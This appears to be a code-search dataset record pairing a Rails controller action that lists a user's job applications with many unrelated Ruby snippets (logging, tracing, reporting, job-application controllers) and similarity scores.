"def printInterface(pageName, concreteCode, ajaxcontrols=nil, css=nil, effects=nil, appData=\"\")\r\n findAjaxControls(ajaxcontrols) unless ajaxcontrols.nil?\r\n findCSS(css) unless css.nil?\r\n findEffects(effects) unless effects.nil?\r\n data = get_events(pageName)\r\n @eventData << \"if (interfaceName == '#{pageName}') { \\n\"\r\n data = \"{\\\"nodes\\\":[#{data}]}\" unless data.nil? or data.blank?\r\n @eventData << \"return '#{data}' \\n\" \r\n @eventData << \"} \\n\"\r\n data = get_decorations(pageName)\r\n @animData << \"if (interfaceName == '#{pageName}') { \\n\"\r\n data = \"{\\\"nodes\\\":[#{data}]}\" unless data.nil? or data.blank?\r\n @animData << \"return '#{data}' \\n\" \r\n @animData << \"} \\n\"\r\n data = get_transitions(pageName)\r\n @transData << \"if (interfaceName == '#{pageName}') { \\n\"\r\n data = \"{\\\"nodes\\\":[#{data}]}\" unless data.nil? or data.blank?\r\n @transData << \"return '#{data}' \\n\" \r\n @transData << \"} \\n\"\r\n begin\r\n # Exceptions raised by this code will\r\n # be caught by the following rescue clause\r\n concreteCode.each { |line|\r\n @bodyContent << line\r\n divId = line.slice(/<div id='\\S+'/)\r\n if (!divId.nil?)\r\n divId.slice!('<div id=\\'')\r\n divId.slice!('\\'')\r\n interfaceToInclude = @references[divId]\r\n if (!interfaceToInclude.nil?)\r\n interfObj = SWUI::Interface.find_by.interface_name(interfaceToInclude).execute.first\r\n\r\n if (interfObj.dynamic==\"true\") then\r\n compiler = AICompiler.new\r\n abstr_spec= SWUI::AbsInterface.preCompile(interfObj.abstract_spec.first,true, appData).first\r\n compiler.parseXML(abstr_spec)\r\n interfObj.concrete_code = compiler.concrete_code\r\n end\r\n \r\n codeToInclude = interfObj.concrete_code.first\r\n ajaxcontrolsToInclude = interfObj.ajaxcontrols.first\r\n cssToInclude = interfObj.concrete_interfaces.first\r\n effectsToInclude= interfObj.effects.first\r\n printInterface(interfaceToInclude, codeToInclude, ajaxcontrolsToInclude, cssToInclude, effectsToInclude, appData)\r\n end\r\n end\r\n }\r\n return true\r\n rescue Exception\r\n @bodyContent << \"Interface #{pageName} not found.\\n\"\r\n @bodyContent << $! \r\n return false\r\n end\r\n end",
"def tracerouteCallBack(msg)\n code = msg.getConfig(\"code\")\n message_arr = msg.getMessage.split(' ')\n src = message_arr[0]\n dst = message_arr[1]\n host_id = message_arr[2]\n hop_count = message_arr[3]\n time = message_arr[4]\n\n # code will equal 0 when the method traceroute is called. It will rewrite the hostid, hop count\n # and the time and will send the message back\n if code == 0\n hop_count = (hop_count.to_i + 1).to_s\n return_msg = Array.new(message_arr)\n return_msg[2] = $hostname\n return_msg[3] = hop_count\n return_msg[4] = ($currtime.to_f.round(4) - time.to_f).round(4).abs.to_s\n send_back = Msg.new\n send_back.setConfig(\"type\", 4)\n send_back.setConfig(\"code\", 1)\n send_back.setMessage(return_msg.join(\" \"))\n sendMessage($clients[$next[src]], send_back)\n if dst != $hostname\n message_arr[3] = hop_count\n msg.setMessage(message_arr.join(\" \"))\n sendMessage($clients[$next[dst]], msg)\n end\n\n # If it isn't code 0, it try to find the src then print out the contents \n else\n if src == $hostname\n STDOUT.puts(hop_count + \" \" + host_id + \" \" + time)\n $hop_counter = (hop_count.to_i + 1).to_s\n if host_id == dst \n $traceroute_finish = true\n end\n else\n client = $clients[$next[src]]\n sendMessage(client, msg)\n end\n end\nend",
"def print_out_line\n name = @run_name\n name += \" (res: #@restart_id)\" if @restart_id\n name += \" real_id: #@real_id\" if @real_id\n beginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s) %3s%1s\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s, percent_complete, \"%\")\n if ctd\n #beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n end\n beginning += \" ---#{@comment}\" if @comment\n beginning\n end",
"def trace_observer_host_and_port\n \"#{trace_observer_host}:#{trace_observer_port}\"\n end",
"def generate_standard_report(start_date = nil, end_date = nil)\r\n report_lines = ['Affiliate Unique ID,Event Type,Timestamp,First Review?,Program Name']\r\n report_events(start_date, end_date) do |event|\r\n report_lines.push event.report_line\r\n end\r\n report_lines.join(\"\\n\")\r\n end",
"def print\n\t\tputs name + \" \" + className + \" says \" + call\n\tend",
"def __trace(method, path, params, body, url, response, json, took, duration)\n trace_url = \"http://localhost:9200/#{path}?pretty\" +\n ( params.empty? ? '' : \"&#{::Faraday::Utils::ParamsHash[params].to_query}\" )\n trace_body = body ? \" -d '#{__convert_to_json(body, :pretty => true)}'\" : ''\n tracer.info \"curl -X #{method.to_s.upcase} '#{trace_url}'#{trace_body}\\n\"\n tracer.debug \"# #{Time.now.iso8601} [#{response.status}] (#{format('%.3f', duration)}s)\\n#\"\n tracer.debug json ? serializer.dump(json, :pretty => true).gsub(/^/, '# ').sub(/\\}$/, \"\\n# }\")+\"\\n\" : \"# #{response.body}\\n\"\n end",
"def prologue(env)\n info(prologue: {\n time: start,\n method: env[Rack::REQUEST_METHOD],\n uri: env[REQUEST_URI],\n ip: Request.new(env).ip\n })\n end",
"def output_report\n\t\toutput_start\n\t\toutput_head\n\t\toutput_body_start\n\t\toutput_body\n\t\toutput_body_end\n\t\toutput_end\n\tend",
"def log_http_call(payload); end",
"def log_http_call(payload); end",
"def taph\n tap {\n puts \"<pre>\" +\n \"#{File.basename caller[2]}: #{self.inspect}\".gsub('&', '&').gsub('<', '<') +\n \"</pre>\"\n }\n end",
"def print_trail_info\n puts \"Rating: #{self.rating}\"\n puts \"Distance: #{self.distance} mi\"\n puts \"Surface Type(s): #{self.surface}\"\n puts \"Brief Description: #{self.info}\\n\"\n puts \"--------------------------------------------------------------------------------\\n\"\n end",
"def create_new_traces\n @traces.each do |trace|\n trace_stack = trace.stack_to_render[0]\n unless(trace_stack.func_name.include? '<init>')\n trace_stack_ordered_variable_names = trace_stack.ordered_varnames\n trace_stack_encoded_locals = trace_stack.encoded_locals\n trace_heap = trace.heap\n trace_code = @code[trace.line]\n filtered_trace = filter_trace([\n trace_stack_ordered_variable_names,\n trace_stack_encoded_locals,\n trace_heap,\n trace_code,\n trace.line\n ])\n @new_traces << filtered_trace\n trace_string = Yajl::Encoder.encode(filtered_trace)\n @traces_json_array << trace_string\n @traces_json_string += trace_string + ','\n end\n end\n end",
"def trail_printer(trail_instance)\n trail_instance.print_info\n 15.times {print \"*\"}\n print \"\\n\"\n end",
"def print\r\n\t\tputs name + \" \" + className + \" says \" + call\r\n\tend",
"def create_traces_text_from_traces_array(traces_array) #{\n rally_host = $my_base_url.split(\"/\")[-2]\n detail_url_prefix = \"https://#{rally_host}/#/detail/userstory\"\n traces_markup = '<p><b>Caliber TRACES</b></p><br/>'\n trace_counter = 1\n\n traces_array.each do | this_trace |\n story_oid = @story_TagFidOidName_by_reqid[this_trace][1]\n if !story_oid.nil? then\n this_trace_name = this_trace\n story_url_detail = \"#{detail_url_prefix}/#{story_oid}\"\n this_trace = \"<a href=\\\"#{story_url_detail}\\\">#{this_trace_name}</a>\"\n end\n \n traces_markup += trace_counter.to_s + \". \"\n traces_markup += this_trace\n traces_markup += '<br/>'\n trace_counter += 1\n end \n return traces_markup\nend",
"def format!\n return unless trace\n return trace unless root_span\n\n # Because the trace API does not support\n # trace metadata, we must put our trace\n # metadata on the root span. This \"root span\"\n # is needed by the agent/API to ingest the trace.\n\n # Apply generic trace tags. Any more specific value will be overridden\n # by the subsequent calls below.\n set_trace_tags!\n\n set_resource!\n\n tag_agent_sample_rate!\n tag_hostname!\n tag_lang!\n tag_origin!\n tag_process_id!\n tag_rule_sample_rate!\n tag_runtime_id!\n tag_rate_limiter_rate!\n tag_sample_rate!\n tag_sampling_decision_maker!\n tag_high_order_trace_id!\n tag_sampling_priority!\n tag_profiling_enabled!\n\n trace\n end",
"def pretty_print(pp)\n super if defined? super\n\n pp.breakable\n pp.text \"Frame Selection:\"\n if !frame_mappings.empty?\n pp.nest(2) do\n pp.breakable\n pp.seplist(frame_mappings) do |mapping|\n pp.text \"#{mapping.first} => #{mapping.last}\"\n end\n end\n end\n end",
"def log_useful_data\n self.result.record_data('screen_size', \"#{@browser.screen_width} X #{@browser.screen_height}\")\n self.result.record_data('proxy_details', proxy_details)\n browser_info # Fetching the UserAgent data\n self.result.record_data('platform', browser_name: browser_name,\n browser_version: browser_version,\n os_platform: os_platform)\n end",
"def format_rule_process\n XES::Trace.new.tap do |trace|\n trace.concept_name = \"rule_process %s\" % Util::UUID.generate\n trace.attributes << XES.string(\"pione:traceType\", \"rule_process\")\n trace.events = @rule_process_log.records.map do |record|\n XES::Event.new.tap do |event|\n # standard attributes\n event.concept_name = record.name\n event.org_resource = record.caller\n event.time_timestamp = record.timestamp\n event.lifecycle_transition = record.transition\n\n # pione extension attributes\n event.attributes << XES.string(\"pione:ruleType\", record.rule_type)\n end\n end\n end\n end",
"def call env\n began = Time.now\n s, h, b = @app.call env\n b = BodyProxy.new(b) { log(env, s, h, began, b) } if @options[:statuses].include? s.to_i\n [s, h, b]\n end",
"def generate_mypoints_report(start_date = nil, end_date = nil)\r\n report_lines = []\r\n report_events(start_date, end_date) do |event|\r\n next unless (event.event_type == 'Review')\r\n report_lines.push [event.affiliate_user.affiliate_unique_id, event.created_at.strftime(\"%Y-%m-%d-%H-%M-%S\"), '', event.affiliate_user.user.display_id, (event.first_review ? 'A' : 'B'), '', event.event.display_id].join(',')\r\n end\r\n report_lines.insert(0, 'TRANSACTIONS', \"records=#{report_lines.size}\", 'name=Viewpoints', 'end-header', '').join(\"\\n\")\r\n end",
"def trace_options\n @trace_data.trace_options\n end",
"def render_debug args\n if !args.state.grid_rendered\n 65.map_with_index do |i|\n args.outputs.static_debug << {\n x: LOWREZ_X_OFFSET,\n y: LOWREZ_Y_OFFSET + (i * 10),\n x2: LOWREZ_X_OFFSET + LOWREZ_ZOOMED_SIZE,\n y2: LOWREZ_Y_OFFSET + (i * 10),\n r: 128,\n g: 128,\n b: 128,\n a: 80\n }.line\n\n args.outputs.static_debug << {\n x: LOWREZ_X_OFFSET + (i * 10),\n y: LOWREZ_Y_OFFSET,\n x2: LOWREZ_X_OFFSET + (i * 10),\n y2: LOWREZ_Y_OFFSET + LOWREZ_ZOOMED_SIZE,\n r: 128,\n g: 128,\n b: 128,\n a: 80\n }.line\n end\n end\n\n args.state.grid_rendered = true\n\n args.state.last_click ||= 0\n args.state.last_up ||= 0\n args.state.last_click = args.state.tick_count if args.lowrez.mouse_down # you can also use args.lowrez.click\n args.state.last_up = args.state.tick_count if args.lowrez.mouse_up\n args.state.label_style = { size_enum: -1.5 }\n\n args.state.watch_list = [\n \"args.state.tick_count is: #{args.state.tick_count}\",\n \"args.lowrez.mouse_position is: #{args.lowrez.mouse_position.x}, #{args.lowrez.mouse_position.y}\",\n \"args.lowrez.mouse_down tick: #{args.state.last_click || \"never\"}\",\n \"args.lowrez.mouse_up tick: #{args.state.last_up || \"false\"}\",\n \"Player.player_x: #{args.state.player.player_x.to_i}\",\n \"Player.player_y: #{args.state.player.player_y.to_i}\",\n \"Player.angle: #{args.state.player.angle.to_i}\",\n \"Active bullets: #{args.state.bullets.length}\",\n \"Active turrets: #{args.state.turrets.length}\",\n ]\n\n args.outputs.debug << args.state\n .watch_list\n .map_with_index do |text, i|\n {\n x: 5,\n y: 720 - (i * 20),\n text: text,\n size_enum: -1.5,\n\t r: 250,\n\t g: 250,\n\t b: 250,\n\t a: 250,\n }.label\n end\n\nend",
"def inspect\n string = \"svc name [#{@service_name}], seqid #{sequence_id.inspect}, \"\n string << \"addr #{@address.inspect}, \"\n @frames.each_with_index { |frame, index| string << \"[#{index}]#{frame.copy_out_string}, \" }\n string\n end",
"def rover_controller_report\n @rover_bay.each{|x| x.print_rover}\n end",
"def on_create\n RMQ.debugging = true\n RMQ.caching_enabled = true\n\n mp \"BluePotionApplication on_create\", debugging_only: true\n\n VW::SessionClient.debug = true # Debug network calls\n end",
"def packet_call(packet)\n if orange.options[:development_mode]\n packet.flash['redirect_to'] = packet.request.path\n packet.add_css('debug_bar.css', :module => '_debugger_')\n end\n pass packet\n if orange.options[:development_mode]\n bar = orange[:parser].haml('debug_bar.haml', packet)\n packet[:content] = packet[:content].gsub('</body>', bar + '</body>')\n end\n packet.finish\n end",
"def debug_stream(hash)\n $stderr.puts '--- DEBUG ---'\n li, ri = (str_ip(hash[:left_ip])||'*'), (str_ip(hash[:right_ip])||'*')\n lp, rp = (hash[:left_port] || '*'), (hash[:right_port] || '*')\n $stderr.puts \"STREAM(#{li}:#{lp} > #{ri}:#{rp})\"\n psuedo_e = \"_stream_capture_#{(@stream_capture || []).length}\".to_sym\n $stderr.puts \" INTO EVENT(#{psuedo_e})\"\n $stderr.puts \"\" \n end",
"def log_event(params)\n puts \"Log Details:\"\n puts \"<====================>\"\n puts \"Event Type: #{params['event']}\"\n puts \"Recepient: #{params['recipient']}\"\n puts \"City: #{params['city']}\"\n puts \"Country: #{params['country']}\"\n puts \"Client Type: #{params['client-type']}\"\n puts \"Client Name: #{params['client-name']}\"\n puts \"Device Type: #{params['device-type']}\"\n puts \"Client OS: #{params['client-os']}\"\n puts \"Url Clicked: #{params['url']}\" if params['event'] == \"clicked\"\n puts \"Logged at: #{Time.at(params['timestamp'].to_i).utc.to_datetime}\"\n puts \"<====================>\"\n end",
"def dump_profile(_profile); end",
"def behavior_trace\n if @behavior\n puts @behavior.send(:ancestors).reverse.map{|a| a.inspect}.join(\"\\n\"); puts @behavior.inspect; puts\n else\n puts \"No behavior to trace #{self}\"\n end\n end",
"def print_placemark\n #Links are not processed\n# if @@last_type == Link then return end\n #An icon showing the start point and description\n ret = \"<Placemark>\"\n ret << \"<name>#{@@step.to_s.rjust(2,'0')}</name>\"\n ret << \"<description>\"\n #Different rendering for Streets and Triphops\n if (@@last_type == Street || @@last_type == Link) then\n ret << \"#{@@init_time.strftime(\"%H:%M\")}. \"\n else\n ret << \"Departure: #{@@init_time.strftime(\"%H:%M\")}. \"\n ret << \"Arrival: #{@@end_time.strftime(\"%H:%M\")}. \"\n end\n# ret << payload.to_kml\n ret << @@last_name\n ret << \"</description>\"\n if (@@last_type == Street || @@last_type == Link) then\n ret << \"<styleUrl>#walkIcon</styleUrl>\"\n else\n ret << \"<styleUrl>#busIcon</styleUrl>\"\n end\n ret << \"<Point>\"\n ret << \"<coordinates>\"\n ret << \"#{@@coords[0]}\"\n ret << \"</coordinates>\"\n ret << \"</Point>\"\n ret << \"</Placemark>\"\n\n #A polyline showing the path\n ret << \"<Placemark>\"\n ret << \"<name>\"\n# ret << payload.to_kml\n ret << @@last_name\n ret << \"</name>\"\n if (@@last_type == Street || @@last_type == Link) then\n ret << \"<styleUrl>#walkPath</styleUrl>\"\n else\n ret << \"<styleUrl>#busPath</styleUrl>\"\n end\n ret << \"<LineString>\"\n ret << \"<coordinates>\"\n ret << \"#{@@coords.join(' ')}\"\n ret << \"</coordinates>\"\n ret << \"</LineString>\"\n ret << \"</Placemark>\"\n end",
"def set_trace_func(p0) end",
"def main\n client = rpcclient(\"thanks\")\n printrpc client.send( configuration[:command], :person => configuration[:person], :options => options )\n\n # Exit using halt and it will pass on the appropriate exit code\n printrpcstats\n halt client.stats\n end",
"def trace(msg=nil)\n return unless msg \n (@logger ||= OMF::Base::LObject.new(self.class)).debug(msg)\n end",
"def render_main\n @total_memory = `ps -o rss= -p #{Process.pid}`.to_i\n @last_tick_times = [-1] if @last_tick_times.size == 0\n [ 200, {'Content-Type' => 'text/html'}, [render_main_body {\n \n }] ]\n end",
"def report_network\n self.report('network_report')\n end",
"def display_provenance_log\n # load provenance log for this work\n id = @collection.id # curation_concern.id\n file_path = Deepblue::ProvenancePath.path_for_reference( id )\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"file_path=#{file_path}\",\n \"\" ] if hyrax_my_collections_controller_debug_verbose\n ::Deepblue::ProvenanceLogService.entries( id, refresh: true )\n redirect_back fallback_location: [main_app, curation_concern]\n end",
"def frame_managers(_pry_); end",
"def profiler; end"
] | [
"0.6028443",
"0.57972765",
"0.5612796",
"0.5453651",
"0.54270864",
"0.54270864",
"0.54270864",
"0.54270864",
"0.54270864",
"0.5425737",
"0.542376",
"0.5405917",
"0.54030615",
"0.5375943",
"0.5373659",
"0.5369219",
"0.53162014",
"0.52955663",
"0.5231164",
"0.5212229",
"0.5202234",
"0.5191985",
"0.5191985",
"0.5191985",
"0.5191985",
"0.5191985",
"0.51780677",
"0.51718515",
"0.51634043",
"0.51592326",
"0.51581484",
"0.51559716",
"0.51559716",
"0.51559716",
"0.51559716",
"0.5151122",
"0.5150907",
"0.51423603",
"0.51390547",
"0.51353616",
"0.51347953",
"0.513432",
"0.51291",
"0.5118912",
"0.5109161",
"0.51060855",
"0.5083861",
"0.5081491",
"0.5081491",
"0.5080328",
"0.5079533",
"0.50785005",
"0.5075084",
"0.5075084",
"0.5073616",
"0.50652844",
"0.5055658",
"0.5031797",
"0.5031797",
"0.5031046",
"0.50270116",
"0.5012438",
"0.50032574",
"0.50025445",
"0.4998343",
"0.4998045",
"0.49978408",
"0.49957958",
"0.4991852",
"0.4991852",
"0.4990713",
"0.49884605",
"0.49869537",
"0.498401",
"0.4982101",
"0.4981986",
"0.49814245",
"0.49808684",
"0.49745202",
"0.49727",
"0.49717647",
"0.49699166",
"0.4967236",
"0.49671346",
"0.49662435",
"0.4960021",
"0.49590495",
"0.49569598",
"0.49529713",
"0.49497873",
"0.49413478",
"0.49360856",
"0.49295163",
"0.49262866",
"0.4925002",
"0.49241766",
"0.49206185",
"0.492049",
"0.49179712",
"0.49159154",
"0.49143293"
] | 0.0 | -1 |
This function is uesd in testing only. | def create_student_full_code
puts Dir.pwd
@student_code = ''
File.open('code.txt', 'rb') do |code_file|
code = code_file.read()
code = code.split("\n")
code.each { |line| @student_code += line + "\n" unless line.empty? }
end
File.open('part1.txt', 'rb') do |part1file|
@part1 = part1file.read
end
File.open('part2.txt', 'rb') do |part2file|
@part2 = part2file.read
end
full_student_code = @part1 + @student_code + "\n" + @part2
main_method('', full_student_code)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def private; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def schubert; end",
"def probers; end",
"def suivre; end",
"def refutal()\n end",
"def spec; end",
"def spec; end",
"def internal; end",
"def ibu; end",
"def used?; end",
"def internship_passed; end",
"def __dummy_test__\n end",
"def implementation; end",
"def implementation; end",
"def weber; end",
"def private_method\n end",
"def zuruecksetzen()\n end",
"def awaken!\n\t\traise 'Not implemented'\n\tend",
"def berlioz; end",
"def terpene; end",
"def handle; end",
"def upc_e; end",
"def isolated; end",
"def isolated; end",
"def pausable; end",
"def custom; end",
"def custom; end",
"def user_os_complex\r\n end",
"def placebo?; false end",
"def identify; end",
"def trd; end",
"def verdi; end",
"def usable?; end",
"def internal?; end",
"def tell()\n #This is a stub, used for indexing\n end",
"def stderrs; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def original_result; end",
"def who_we_are\r\n end",
"def ignores; end",
"def missing; end",
"def post_process; end",
"def sitemaps; end",
"def issn; end",
"def self_test; end",
"def self_test; end",
"def celebration; end",
"def available; end",
"def available; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def storage_failure; end",
"def get_actual\n end",
"def missing?; end",
"def ready; end",
"def ready; end",
"def storage_failure=(_arg0); end",
"def incomplete\r\n\r\n end",
"def before_setup; end",
"def bug\n end",
"def original; end",
"def hiss; end",
"def same; end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def test_0_dummy\n\t\tend",
"def before_run; end",
"def diagnostic; end",
"def intensifier; end",
"def testing\n # ...\n end"
] | [
"0.7426645",
"0.65343124",
"0.65343124",
"0.65343124",
"0.65343124",
"0.64072627",
"0.62731266",
"0.6048883",
"0.60274196",
"0.60094106",
"0.60094106",
"0.5976838",
"0.59708804",
"0.5841638",
"0.5839765",
"0.5835154",
"0.58323705",
"0.58323705",
"0.5809095",
"0.5805751",
"0.5785698",
"0.57843983",
"0.5783029",
"0.5768409",
"0.57507807",
"0.57506704",
"0.57276297",
"0.57276297",
"0.57241476",
"0.57208747",
"0.57208747",
"0.5713547",
"0.5686974",
"0.5650732",
"0.5645244",
"0.56062955",
"0.5605658",
"0.5605244",
"0.5596691",
"0.55831236",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55624425",
"0.55562145",
"0.552701",
"0.5509619",
"0.5506259",
"0.54906404",
"0.5487034",
"0.5483297",
"0.54807127",
"0.54807127",
"0.5475307",
"0.54609555",
"0.54609555",
"0.5453718",
"0.5453718",
"0.5453718",
"0.5453718",
"0.5453718",
"0.5453718",
"0.5453718",
"0.5453718",
"0.5453718",
"0.5451491",
"0.5443081",
"0.5433837",
"0.54326236",
"0.54326236",
"0.54304",
"0.54222435",
"0.5420619",
"0.54198486",
"0.5415003",
"0.5407764",
"0.5388645",
"0.5386259",
"0.5386259",
"0.5386259",
"0.5386259",
"0.538586",
"0.5369702",
"0.53640074",
"0.5346355",
"0.53435504"
] | 0.0 | -1 |
GET /job_applications GET /job_applications.json | def index
$lmc_left_menu = "lmw_all_jobs"
$lmc_subleft_menu = "lmw_job_applications"
@user = current_user
@job_applications_ids = current_user.job_applications.pluck(:job_id)
@job_applications = Job.where(id: @job_applications_ids).text_search(params[:query], params[:town], params[:status])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @job_applications = JobApplication.all\n end",
"def index\n @jobapplications = Jobapplication.all\n end",
"def applications_list\n get \"applications\"\n end",
"def app\n jobs = App.find_by(uid: unsafe_params[:id]).\n app_series.jobs.editable_by(@context).\n eager_load(:app, user: :org, analysis: :workflow).\n includes(:taggings).\n search_by_tags(params.dig(:filters, :tags)).\n order(order_from_params).page(page_from_params).per(PAGE_SIZE)\n jobs.each { |job| job.current_user = @context.user }\n\n jobs = JobService::JobsFilter.call(jobs, params[:filters])\n\n page_dict = pagination_dict(jobs)\n\n render json: jobs, root: \"jobs\", meta: count(page_dict[:total_count]).\n merge({ pagination: page_dict }), adapter: :json\n end",
"def index\n @job_applications = @job_applications_active\n end",
"def show\n #@job_application = JobApplication.find(params[:id])\n\n #@user = User.find(params[:id])\n @job_application = current_user.job_applications #.page(params[:page]).per_page(10)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_application }\n end\n end",
"def index\n @job_site_applications = JobSiteApplication.all\n end",
"def show\n @application = Application.find(params[:id])\n \n if @application.nil? or @application.job.nil?\n redirect_to \"/\", :alert=>\"You do not have access to this page\"\n return false\n end\n\n return unless appAccess?(@application.job.id)\n\n @job = @application.job\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def index\n if current_user.admin?\n @job_applications = JobApplication.all\n else\n @job_applications = JobApplication.where(job: Job.where(user: current_user.company.users))\n end\n @job_applications = @job_applications.where(status: params[:status]) if params[:status].present?\n @job_applications = @job_applications.where(response_status: params[:response_status]) if params[:response_status].present?\n @job_applications = @job_applications.where(job: Job.find(params[:job])) if params[:job].present?\n end",
"def index\n @user=current_user\n @jobapplications = @user.jobapplications\n end",
"def index\n jobs = current_user.hr.jobs\n @applications = Array.new\n jobs.each do |job|\n job_faculties_map = Hash.new\n job_faculties_map[job] = Array.new\n if job.faculties.length > 0\n job.faculties.each do |faculty|\n job_faculties_map[job] << faculty\n end\n @applications << job_faculties_map\n end\n end\n @applications\n end",
"def index\n if current_user.role == 'employee'\n @job_applications_made = current_user.employee.job_applications\n else\n @job_applications = JobApplication.all\n end\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @applications }\n end\n end",
"def getApplications(ak)\n uri='https://api.newrelic.com/v2/applications.json'\n parseUrl=URI.parse(uri)\n host=parseUrl.host\n path=parseUrl.path\n getRequest(ak,uri,host,path)\nend",
"def index\n @job_applications = JobApplication.for_status params[:status_type]\n end",
"def applications\n Application.from session.get 'operations/application', API_V1\n end",
"def show\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def show\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def get_applications\n http_get_request(Scalarium.applications_url)\n end",
"def get_applications_of_project\n respond_to do |format|\n param = params[:payload]\n format.json {\n @project_applications = ProjectApplication.where(:project_id => Project.find_by_id(param[:id]))\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def index\n @jobapps = Jobapp.all\n @jobapp = Jobapp.new\n end",
"def index\n @apps = @client.apps\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @applications }\n end\n end",
"def get_applications_of_user\n respond_to do |format|\n format.json {\n @project_applications = ProjectApplication.where(:user_id => @current_user.id)\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def index\n @job_items = @job.job_items.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_items }\n end\n end",
"def get_applist\n return get_response(\"applist\", :json)\n end",
"def list_applications(client)\n client.applications.each do |application|\n puts \"Application: #{application.name}\"\n puts \" Description: #{application.description}\"\n puts \" Status: #{application.status}\"\n puts \" Href: #{application.href}\"\n end \nend",
"def index\n if current_user.is_admin\n @applications = Application.all\n puts @applications\n elsif current_user.is_seeker\n @applications = Application.where(jobseeker_id: Jobseeker.find_by(user_id: current_user.id).id)\n elsif current_user.is_biz\n @applications = Application.where(job_id: Job.where(bizowner_id: Bizowner.find_by(user_id: current_user.id).id))\n end\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n @job_application.user_id = current_user.id\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to job_applications_url }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index # testing purposes only\n applications = Application.includes(:user).all\n\n render json: applications\n end",
"def index\n respond_with @applications = Application.all\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully created.' }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_jobapp\n @jobapp = Jobapp.find(params[:id])\n end",
"def show\n @applications_application = ApplicationsApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applications_application }\n end\n end",
"def index\n @jobs = Job.all\n if current_role == :admin\n @applications = Application.all\n elsif current_role == :recruiter\n @applications = Application.all.select{|n| @jobs.exists?(n.job_id) && @jobs.find(n.job_id).company_id == current_user.company_id}\n else\n @applications = Application.all.select{|n| n.user_id==current_user.id}\n end\n end",
"def index\n @jobs = Job.all\n\n render json: @jobs\n end",
"def index\n @jobs = Job.all\n render json: @jobs\n end",
"def show\n @other_job_applications = @job_application.user.job_applications.where.not(id: @job_application.id)\n render layout: request.xhr? ? false : \"admin/simple\"\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to @job_application, notice: 'Job application was successfully created.' }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @training_active_jobs = Training::ActiveJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @training_active_jobs }\n end\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def list_applications(workspace_id)\n # check and reauthenticate\n self.isTokenExpired()\n\n results = []\n url = @api_url + \"/api/workspaces/#{workspace_id}/applications\"\n headers = {:accept => :json, :authorization => \"bearer #{@access_token}\"}\n\n RestClient.proxy = @proxy\n\n begin\n r = RestClient.get url, headers\n rescue RestClient::ExceptionWithResponse => e\n puts e.response\n end\n\n applications = JSON.parse(r.body)['data']\n #application_count = JSON.parse(r.body)['TotalResults']\n\n #puts \"applications dump is #{JSON.pretty_generate(applications)}\\napplication count is #{application_count}\"\n\n applications.each do |application|\n results.push(application)\n end\n return results\n end",
"def set_jobapplication\n @jobapplication = Jobapplication.find(params[:id])\n end",
